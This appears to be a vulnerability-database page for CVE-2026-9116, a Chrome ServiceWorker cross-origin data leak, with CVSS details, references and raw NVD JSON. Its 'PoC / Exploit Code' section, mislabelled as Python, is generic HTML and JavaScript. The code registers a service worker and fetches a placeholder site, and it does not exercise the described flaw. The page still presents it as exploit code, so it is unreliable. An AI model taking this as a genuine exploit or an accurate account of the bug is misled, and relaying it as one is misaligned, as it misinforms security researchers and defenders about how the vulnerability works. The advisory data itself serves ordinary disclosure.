CVE-2026-9116

Description

Insufficient policy enforcement in ServiceWorker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  Conceptual PoC for CVE-2026-9116
  This demonstrates how a malicious page might attempt to leverage ServiceWorker for cross-origin data leakage.
  Note: Actual exploitation depends on the specific vulnerability logic in the affected Chrome version.
-->
<!DOCTYPE html>
<html>
<head>
  <title>ServiceWorker Data Leak PoC</title>
</head>
<body>
  <h1>PoC Trigger</h1>
  <script>
    if ('serviceWorker' in navigator) {
      // Register a malicious ServiceWorker
      navigator.serviceWorker.register('sw.js')
        .then(function(registration) {
          console.log('Service Worker registered with scope:', registration.scope);
          // Attempt to trigger the vulnerability logic
          fetch('https://target-site.com/sensitive-data')
            .then(response => response.text())
            .then(data => {
              // In a real exploit, this data might be leaked across origins
              console.log('Leaked Data:', data);
              document.body.innerHTML += '<p>' + data + '</p>';
            })
            .catch(err => console.error('Error:', err));
        })
        .catch(function(error) {
          console.log('Service Worker registration failed:', error);
        });
    }
  </script>
</body>
</html>

/* 
  sw.js (Service Worker Script)
  This file would typically handle fetch events to bypass restrictions.
*/
self.addEventListener('fetch', function(event) {
  event.respondWith(
    fetch(event.request).then(function(response) {
      // Logic to potentially cache or expose cross-origin responses
      return response;
    })
  );
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9116
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9116
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9116/
[4] VulDB https://vuldb.com/cve/CVE-2026-9116
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/497436273

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9116", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:42.843", "lastModified": "2026-05-20T20:16:42.843", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in ServiceWorker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497436273", "source": "[email protected]"}]}}